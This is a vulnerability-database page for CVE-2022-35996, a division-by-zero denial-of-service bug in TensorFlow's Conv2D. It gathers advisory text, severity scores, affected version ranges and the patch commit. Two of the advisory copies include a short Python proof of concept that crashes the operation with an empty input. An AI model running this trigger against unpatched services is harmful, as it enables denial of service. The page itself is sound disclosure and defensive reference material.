CVE-2022-35996
published 2022-09-16CVE-2022-35996: TensorFlow is an open source platform for machine learning. If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is…
PriorityP336high7.5CVSS 3.1
AVNACLPRNUINSUCNINAH
EPSS
0.41%
33.3th percentile
TensorFlow is an open source platform for machine learning. If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | tensorflow | — | — |
| tensorflow | < 2.7.2 | 2.7.2 | |
| tensorflow | — | — | |
| tensorflow | >= 2.8.0 < 2.8.1 | 2.8.1 | |
| tensorflow | >= 2.9.0 < 2.9.1 | 2.9.1 | |
| intel | optimization_for_tensorflow | >= 0 < 2.7.2 | 2.7.2 |
| intel | optimization_for_tensorflow | >= 2.8.0 < 2.8.1 | 2.8.1 |
| intel | optimization_for_tensorflow | >= 2.9.0 < 2.9.1 | 2.9.1 |
| tensorflow | tensorflow | < 2.7.2 | 2.7.2 |
| tensorflow | tensorflow | — | — |
| tensorflow | tensorflow | — | — |
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vendor_debian5.9LOW
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GHSA
TensorFlow vulnerable to floating point exception in `Conv2D`
ghsa·2022-09-16
CVE-2022-35996 [MEDIUM] CWE-369 TensorFlow vulnerable to floating point exception in `Conv2D`
TensorFlow vulnerable to floating point exception in `Conv2D`
### Impact
If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
input = np.ones([1, 0, 2, 1])
filter = np.ones([1, 1, 1, 1])
strides = ([1, 1, 1, 1])
padding = "EXPLICIT"
explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
data_format = "NHWC"
res = tf.raw_ops.Conv2D(
input=input,
filter=filter,
strides=strides,
padding=padding,
explicit_paddings=explicit_paddings,
data_format=data_format,
)
```
### Patches
We have patched the issue in GitHub commit [611d80db29dd7
OSV
TensorFlow vulnerable to floating point exception in `Conv2D`
osv·2022-09-16
CVE-2022-35996 [MEDIUM] TensorFlow vulnerable to floating point exception in `Conv2D`
TensorFlow vulnerable to floating point exception in `Conv2D`
### Impact
If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
input = np.ones([1, 0, 2, 1])
filter = np.ones([1, 1, 1, 1])
strides = ([1, 1, 1, 1])
padding = "EXPLICIT"
explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
data_format = "NHWC"
res = tf.raw_ops.Conv2D(
input=input,
filter=filter,
strides=strides,
padding=padding,
explicit_paddings=explicit_paddings,
data_format=data_format,
)
```
### Patches
We have patched the issue in GitHub commit [611d80db29dd7
Debian
CVE-2022-35996: tensorflow - TensorFlow is an open source platform for machine learning. If `Conv2D` is given...
vendor_debian·2022·CVSS 5.9
CVE-2022-35996 [MEDIUM] CVE-2022-35996: tensorflow - TensorFlow is an open source platform for machine learning. If `Conv2D` is given...
TensorFlow is an open source platform for machine learning. If `Conv2D` is given empty `input` and the `filter` and `padding` sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.
Scope: local
forky: resolved
sid: resolved
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q5jv-m6qw-5g37https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q5jv-m6qw-5g37
2022-09-16
Published